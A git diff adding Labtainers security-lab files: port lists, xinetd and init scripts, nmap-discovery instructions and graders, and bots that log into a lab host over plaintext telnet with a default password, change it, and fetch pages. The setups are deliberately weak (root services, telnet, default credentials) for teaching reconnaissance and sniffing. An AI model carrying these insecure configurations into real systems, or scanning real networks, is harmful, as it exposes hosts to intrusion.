+x11-7 6007/udp +gnutella-svc 6346/tcp # gnutella +gnutella-svc 6346/udp +gnutella-rtr 6347/tcp # gnutella +gnutella-rtr 6347/udp +sge-qmaster 6444/tcp sge_qmaster # Grid Engine Qmaster Service +sge-qmaster 6444/udp sge_qmaster +sge-execd 6445/tcp sge_execd # Grid Engine Execution Service +sge-execd 6445/udp sge_execd +mysql-proxy 6446/tcp # MySQL Proxy +mysql-proxy 6446/udp +afs3-fileserver 7000/tcp bbs # file server itself +afs3-fileserver 7000/udp bbs +afs3-callback 7001/tcp # callbacks to cache managers +afs3-callback 7001/udp +afs3-prserver 7002/tcp # users & groups database +afs3-prserver 7002/udp +afs3-vlserver 7003/tcp # volume location database +afs3-vlserver 7003/udp +afs3-kaserver 7004/tcp # AFS/Kerberos authentication +afs3-kaserver 7004/udp +afs3-volser 7005/tcp # volume managment server +afs3-volser 7005/udp +afs3-errors 7006/tcp # error interpretation service +afs3-errors 7006/udp +afs3-bos 7007/tcp # basic overseer process +afs3-bos 7007/udp +afs3-update 7008/tcp # server-to-server updater +afs3-update 7008/udp +afs3-rmtsys 7009/tcp # remote cache manager service +afs3-rmtsys 7009/udp +font-service 7100/tcp xfs # X Font Service +font-service 7100/udp xfs +http-alt 8080/tcp webcache # WWW caching service +http-alt 8080/udp +bacula-dir 9101/tcp # Bacula Director +bacula-dir 9101/udp +bacula-fd 9102/tcp # Bacula File Daemon +bacula-fd 9102/udp +bacula-sd 9103/tcp # Bacula Storage Daemon +bacula-sd 9103/udp +xmms2 9667/tcp # Cross-platform Music Multiplexing System +xmms2 9667/udp +nbd 10809/tcp # Linux Network Block Device +zabbix-agent 10050/tcp # Zabbix Agent +zabbix-agent 10050/udp +zabbix-trapper 10051/tcp # Zabbix Trapper +zabbix-trapper 10051/udp +amanda 10080/tcp # amanda backup services +amanda 10080/udp +dicom 11112/tcp +hkp 11371/tcp # OpenPGP HTTP Keyserver +hkp 11371/udp +bprd 13720/tcp # VERITAS NetBackup +bprd 13720/udp +bpdbm 13721/tcp # VERITAS NetBackup +bpdbm 13721/udp +bpjava-msvc 13722/tcp # BP Java MSVC Protocol +bpjava-msvc 13722/udp +vnetd 13724/tcp # Veritas Network Utility +vnetd 13724/udp +bpcd 13782/tcp # VERITAS NetBackup +bpcd 13782/udp +vopied 13783/tcp # VERITAS NetBackup +vopied 13783/udp +db-lsp 17500/tcp # Dropbox LanSync Protocol +dcap 22125/tcp # dCache Access Protocol +gsidcap 22128/tcp # GSI dCache Access Protocol +wnn6 22273/tcp # wnn6 +wnn6 22273/udp + +# +# Datagram Delivery Protocol services +# +rtmp 1/ddp # Routing Table Maintenance Protocol +nbp 2/ddp # Name Binding Protocol +echo 4/ddp # AppleTalk Echo Protocol +zip 6/ddp # Zone Information Protocol + +#========================================================================= +# The remaining port numbers are not as allocated by IANA. +#========================================================================= + +# Kerberos (Project Athena/MIT) services +# Note that these are for Kerberos v4, and are unofficial. Sites running +# v4 should uncomment these and comment out the v5 entries above. +# +kerberos4 750/udp kerberos-iv kdc # Kerberos (server) +kerberos4 750/tcp kerberos-iv kdc +kerberos-master 751/udp kerberos_master # Kerberos authentication +kerberos-master 751/tcp +passwd-server 752/udp passwd_server # Kerberos passwd server +krb-prop 754/tcp krb_prop krb5_prop hprop # Kerberos slave propagation +krbupdate 760/tcp kreg # Kerberos registration +swat 901/tcp # swat +kpop 1109/tcp # Pop with Kerberos +knetd 2053/tcp # Kerberos de-multiplexor +zephyr-srv 2102/udp # Zephyr server +zephyr-clt 2103/udp # Zephyr serv-hm connection +zephyr-hm 2104/udp # Zephyr hostmanager +eklogin 2105/tcp # Kerberos encrypted rlogin +# Hmmm. Are we using Kv4 or Kv5 now? Worrying. +# The following is probably Kerberos v5 --- ajt@debian.org (11/02/2000) +kx 2111/tcp # X over Kerberos +iprop 2121/tcp # incremental propagation +# +# Unofficial but necessary (for NetBSD) services +# +supfilesrv 871/tcp # SUP server +supfiledbg 1127/tcp # SUP debugging + +# +# Services added for the Debian GNU/Linux distribution +# +linuxconf 98/tcp # LinuxConf +poppassd 106/tcp # Eudora +poppassd 106/udp +moira-db 775/tcp moira_db # Moira database +moira-update 777/tcp moira_update # Moira update protocol +moira-ureg 779/udp moira_ureg # Moira user registration +spamd 783/tcp # spamassassin daemon +omirr 808/tcp omirrd # online mirror +omirr 808/udp omirrd +customs 1001/tcp # pmake customs server +customs 1001/udp +skkserv 1178/tcp # skk jisho server port +predict 1210/udp # predict -- satellite tracking +rmtcfg 1236/tcp # Gracilis Packeten remote config server +wipld 1300/tcp # Wipl network monitor +xtel 1313/tcp # french minitel +xtelw 1314/tcp # french minitel +support 1529/tcp # GNATS +cfinger 2003/tcp # GNU Finger +frox 2121/tcp # frox: caching ftp proxy +ninstall 2150/tcp # ninstall service +ninstall 2150/udp +zebrasrv 2600/tcp # zebra service +zebra 2601/tcp # zebra vty +ripd 2602/tcp # ripd vty (zebra) +ripngd 2603/tcp # ripngd vty (zebra) +ospfd 2604/tcp # ospfd vty (zebra) +bgpd 2605/tcp # bgpd vty (zebra) +ospf6d 2606/tcp # ospf6d vty (zebra) +ospfapi 2607/tcp # OSPF-API +isisd 2608/tcp # ISISd vty (zebra) +afbackup 2988/tcp # Afbackup system +afbackup 2988/udp +afmbackup 2989/tcp # Afmbackup system +afmbackup 2989/udp +xtell 4224/tcp # xtell server +fax 4557/tcp # FAX transmission service (old) +hylafax 4559/tcp # HylaFAX client-server protocol (new) +distmp3 4600/tcp # distmp3host daemon +munin 4949/tcp lrrd # Munin +enbd-cstatd 5051/tcp # ENBD client statd +enbd-sstatd 5052/tcp # ENBD server statd +pcrd 5151/tcp # PCR-1000 Daemon +noclog 5354/tcp # noclogd with TCP (nocol) +noclog 5354/udp # noclogd with UDP (nocol) +hostmon 5355/tcp # hostmon uses TCP (nocol) +hostmon 5355/udp # hostmon uses UDP (nocol) +rplay 5555/udp # RPlay audio service +nrpe 5666/tcp # Nagios Remote Plugin Executor +nsca 5667/tcp # Nagios Agent - NSCA +mrtd 5674/tcp # MRT Routing Daemon +bgpsim 5675/tcp # MRT Routing Simulator +canna 5680/tcp # cannaserver +syslog-tls 6514/tcp # Syslog over TLS [RFC5425] +sane-port 6566/tcp sane saned # SANE network scanner daemon +ircd 6667/tcp # Internet Relay Chat +zope-ftp 8021/tcp # zope management by ftp +tproxy 8081/tcp # Transparent Proxy +omniorb 8088/tcp # OmniORB +omniorb 8088/udp +clc-build-daemon 8990/tcp # Common lisp build daemon +xinetd 9098/tcp +mandelspawn 9359/udp mandelbrot # network mandelbrot +git 9418/tcp # Git Version Control System +zope 9673/tcp # zope server +webmin 10000/tcp +kamanda 10081/tcp # amanda backup services (Kerberos) +kamanda 10081/udp +amandaidx 10082/tcp # amanda backup services +amidxtape 10083/tcp # amanda backup services +smsqp 11201/tcp # Alamin SMS gateway +smsqp 11201/udp +xpilot 15345/tcp # XPilot Contact Port +xpilot 15345/udp +sgi-cmsd 17001/udp # Cluster membership services daemon +sgi-crsd 17002/udp +sgi-gcd 17003/udp # SGI Group membership daemon +sgi-cad 17004/tcp # Cluster Admin daemon +isdnlog 20011/tcp # isdn logging system +isdnlog 20011/udp +vboxd 20012/tcp # voice box system +vboxd 20012/udp +binkp 24554/tcp # binkp fidonet protocol +asp 27374/tcp # Address Search Protocol +asp 27374/udp +csync2 30865/tcp # cluster synchronization tool +dircproxy 57000/tcp # Detachable IRC Proxy +tfido 60177/tcp # fidonet EMSI over telnet +fido 60179/tcp # fidonet EMSI over TCP + +# Local services diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/xinetd.d/httpservice b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/xinetd.d/httpservice new file mode 100755 index 000000000..e2219bda4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/xinetd.d/httpservice @@ -0,0 +1,63 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: httpservice +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/sbin/ +DAEMON=$DIR/MyHTTPServer.py +DAEMON_NAME=httpservice + +# Add any command line options for your daemon here +DAEMON_OPTS="" + +# This next line determines what user the script runs as. +DAEMON_USER=root + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile --user $DAEMON_USER -d /tmp/ --chuid $DAEMON_USER --startas $DAEMON -- $DAEMON_OPTS + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + +sleep 10 + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..e4b029e9f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = RANDOM_PORT + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/xinetd.d/telnet b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/xinetd.d/telnet new file mode 100644 index 000000000..2403b5bc9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/xinetd.d/telnet @@ -0,0 +1,10 @@ +service telnet +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/in.telnetd + log_on_failure += USERID + disable = yes +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/sbin/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/sbin/MyHTTPServer.py new file mode 100755 index 000000000..c08e39d3e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/sbin/MyHTTPServer.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys +import random + +PORT0 = random.randint(5000, 9999) +PORT1 = random.randint(5000, 9999) +PORT2 = random.randint(5000, 9999) +PORT3 = random.randint(5000, 9999) +PORT4 = random.randint(5000, 9999) + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler + +httpd0 = SocketServer.TCPServer(("", PORT0), Handler) +httpd1 = SocketServer.TCPServer(("", PORT1), Handler) +httpd2 = SocketServer.TCPServer(("", PORT2), Handler) +httpd3 = SocketServer.TCPServer(("", PORT3), Handler) +httpd4 = SocketServer.TCPServer(("", PORT4), Handler) + +httpd0.serve_forever() +httpd1.serve_forever() +httpd2.serve_forever() +httpd3.serve_forever() +httpd4.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/sbin/faux_init new file mode 100755 index 000000000..28539ede6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + +service xinetd restart +/etc/xinetd.d/httpservice start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/friedshrimp.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/friedshrimp.txt new file mode 100644 index 000000000..f1ef3e358 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/friedshrimp.txt @@ -0,0 +1,9 @@ +My summary notes from the fried shrimp project: + +Fried Shrimp Project: We concluded it is better to +buy than to build. + +=================================================== + +Congratulations! You managed to find the summary file +for “fired shrimp”and impress Randall. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/instr_config/goals.config new file mode 100644 index 000000000..355f782a5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#DOC: count of use of nmap +nmap_count = count : nmapscan diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/instr_config/results.config new file mode 100644 index 000000000..125c49bd1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/instr_config/results.config @@ -0,0 +1,7 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + +nmapscan = mycomputer:nmap.stdin : PARAM : 1 +#DOC: SSH'd to the proper port and viewed the target file +did_ssh = mycomputer:ssh.stdout : CONTAINS : fried shrimp project diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/_bin/fixlocal.sh new file mode 100755 index 000000000..f5856942a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/_bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/_bin/treataslocal new file mode 100644 index 000000000..68418f593 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/_bin/treataslocal @@ -0,0 +1,3 @@ +/usr/bin/nmap +/usr/bin/ssh +/usr/bin/telnet diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/_system/etc/rc.local new file mode 100755 index 000000000..08c4c1ec2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/_system/etc/rc.local @@ -0,0 +1,15 @@ +#!/bin/bash +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to server +route del default diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/instructions.txt new file mode 100644 index 000000000..55846a225 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/mycomputer/instructions.txt @@ -0,0 +1,47 @@ +nmap -sP 172.25.0.0/24 + +Title: Nmap Lab Exercise + +1. Background + +This Labtainer exercise explores Nmap. + +2. Performing the lab + +The lab is started from the Labtainer working directory on your +Docker-enabled host, e.g., a Linux VM. From there, issue the command: + + labtainer nmap-discovery + +The resulting virtual terminals will include a display of these +instructions, and bash shell. Nmap is pre-installed on the container. + +To navigate these instructions, use the arrow keys along with the +Space/Home/End/Page Up/Page Down keys. To exit these instruction, type 'q'. + +3. Tasks + +Your boss wants you to prepare for a meeting on a project you have not +worked on for months. You have a summary file on the "friedshrimp" +server that you previously accessed via ssh. You cannot remember the +IP address of friedshrimp, and you forgot which port the IT staff +assigned for SSH on that server, though you think it is between +2000 and 3000. You do know that your password is the +usual one used in these labs. Use nmap to find the IP address and port number +used by the SSH service. Then review the content of "friedshrimp.txt" file +from an SSH session. + +If you need help with nmap commands, you can use the "man nmap" command to +view the manual. And note that to ssh to a host via a port other than the +default, use "ssh -p ". + +4. Stop the Labtainer + +When the lab is completed, or you'd like to stop working for a while, run + + stoplab nmap-discovery + +from the host Labtainer working directory. You can always restart the +Labtainer to continue your work. When the Labtainer is stopped, a zip +file is created and copied to a location displayed by the stoplab command. +When the lab is completed, send that zip file to the instructor. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_bin/fixlocal.sh new file mode 100755 index 000000000..7c891bfcd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +sudo systemctl enable telnetbot +sudo systemctl start telnetbot +sudo systemctl enable webbot +sudo systemctl start webbot diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_bin/treataslocal new file mode 100644 index 000000000..dc30defc3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_bin/treataslocal @@ -0,0 +1,2 @@ +/usr/bin/telnet +/usr/bin/ssh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_system/etc/init.d/telnet-bot-serv.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_system/etc/init.d/telnet-bot-serv.sh new file mode 100755 index 000000000..93f56f608 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_system/etc/init.d/telnet-bot-serv.sh @@ -0,0 +1,63 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: telnetbot +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/home/ubuntu +DAEMON=$DIR/bot.py +DAEMON_NAME=telnetbot + +# Add any command line options for your daemon here +DAEMON_OPTS="" + +# This next line determines what user the script runs as. +DAEMON_USER=ubuntu + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile --user $DAEMON_USER --chuid $DAEMON_USER --startas $DAEMON -- $DAEMON_OPTS + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + +sleep 10 + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_system/etc/init.d/web-bot.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_system/etc/init.d/web-bot.sh new file mode 100755 index 000000000..4164350ab --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_system/etc/init.d/web-bot.sh @@ -0,0 +1,63 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: webbot +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/home/ubuntu +DAEMON=$DIR/webbot.py +DAEMON_NAME=webbot + +# Add any command line options for your daemon here +DAEMON_OPTS="" + +# This next line determines what user the script runs as. +DAEMON_USER=ubuntu + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile -d $DIR --user $DAEMON_USER --chuid $DAEMON_USER --startas $DAEMON -- $DAEMON_OPTS + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + +sleep 10 + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_system/etc/rc.local new file mode 100755 index 000000000..14f57edb0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_system/etc/rc.local @@ -0,0 +1,17 @@ +#!/bin/sh -e +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to server +route add -net 172.25.0.0/24 gw 172.24.0.3 + +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_system/sbin/faux_init new file mode 100755 index 000000000..b7b5ce5f7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/_system/sbin/faux_init @@ -0,0 +1,20 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +/etc/init.d/telnet-bot-serv.sh start +/etc/init.d/web-bot.sh start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/bot.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/bot.py new file mode 100755 index 000000000..21e282b7c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/bot.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python +''' +A simple bot to login to a telnet server, change a password, and then +just keep logging in, listing a directory and logging out. +''' +import sys +from subprocess import PIPE, Popen +from threading import Thread +import time +import logging +try: + from Queue import Queue, Empty +except ImportError: + from queue import Queue, Empty # python 3.x + +ON_POSIX = 'posix' in sys.builtin_module_names +def enqueue_output(out, queue): + logging.debug("enqueue_output") + for line in iter(out.readline, b''): + queue.put(line) + out.close() + +def readUntil(val_list, q, stderr_q=None): + retval = None + # read line without blocking + logging.debug("readUntil") + line = '' + done = False + while not done: + if stderr_q is not None: + try: + line = stderr_q.get_nowait() + if line is not None and len(line) > 0: + logging.debug('stderr: '+line) + except Empty: + pass + + try: + line = q.get_nowait() # or q.get(timeout=.1) + for val in val_list: + if val in line: + done = True + retval = val + print('got readuntil for %s' % val) + break + except Empty: + #print('no output yet') + time.sleep(1) + else: # got line + logging.debug(line) + #print line + return retval + +def doLogin(passwd): + retval = True + logging.debug("in doLogin") + p = Popen(['telnet', '172.25.0.1'], stdout=PIPE, stdin=PIPE, stderr=PIPE, bufsize=1, close_fds=ON_POSIX) + q = Queue() + stderr_q = Queue() + t = Thread(target=enqueue_output, args=(p.stdout, q)) + stderr_t = Thread(target=enqueue_output, args=(p.stderr, stderr_q)) + t.daemon = True # thread dies with the program + t.start() + + logging.debug("after start") + readUntil(['Ubuntu'], q, stderr_q) + p.stdin.write('ubuntu\n') + readUntil(['server login'] , q) + p.stdin.write('%s\n' % passwd) + got = readUntil(['* Support:', 'Login incorrect'], q) + if got == 'Login incorrect': + print('found login incorrect') + retval = False + return retval, p,q + + +''' +First loging and chnage the password. NEWPWD should be replaced by +a student-specific value. +''' +LOGFILE = "/tmp/bot.log" +logging.basicConfig(filename=LOGFILE, level=logging.DEBUG) +logging.debug("sleeping") +time.sleep(10) +logging.debug("hi") +newpwd = 'NEWPWD' +result, p, q = doLogin('ubuntu') +if result: + cmd = "echo 'ubuntu:%s' | sudo chpasswd\n" % newpwd + logging.debug('cmd is '+cmd) + p.stdin.write(cmd) + time.sleep(1) + logging.debug('changed pwd??') + p.stdin.write('ls\n') + readUntil(['filetoview.txt'], q) + p.stdin.write('exit\n') + time.sleep(1) + p.wait() +else: + print('failed login, try new password') + p.stdin.write('ubuntu\n') + readUntil(['server login'] , q) + p.stdin.write('%s\n' % newpwd) + +while True: + result, p, q = doLogin(newpwd) + p.stdin.write('ls\n') + readUntil(['filetoview.txt'], q) + p.stdin.write('exit\n') + p.wait() + time.sleep(5) + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/webbot.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/webbot.py new file mode 100755 index 000000000..86562004e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/client/webbot.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python +''' +A simple bot fetch web pages +just keep logging in, listing a directory and logging out. +''' +import sys +import time +import logging +import subprocess +''' + +''' +LOGFILE = "/tmp/webbot.log" +logging.basicConfig(filename=LOGFILE, level=logging.DEBUG) +logging.debug("sleeping") +time.sleep(10) +logging.debug("hi") + +while True: + cmd='wget http://172.25.0.2/index.html -O index.html' + child = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + error_string = child.stderr.read().strip() + output = child.stdout.read().strip() + logging.debug(error_string) + logging.debug(output) + time.sleep(1) + + cmd='wget http://172.25.0.1/link1.html' + child = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + error_string = child.stderr.read().strip() + output = child.stdout.read().strip() + logging.debug(error_string) + logging.debug(output) + time.sleep(1) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/config/about.txt 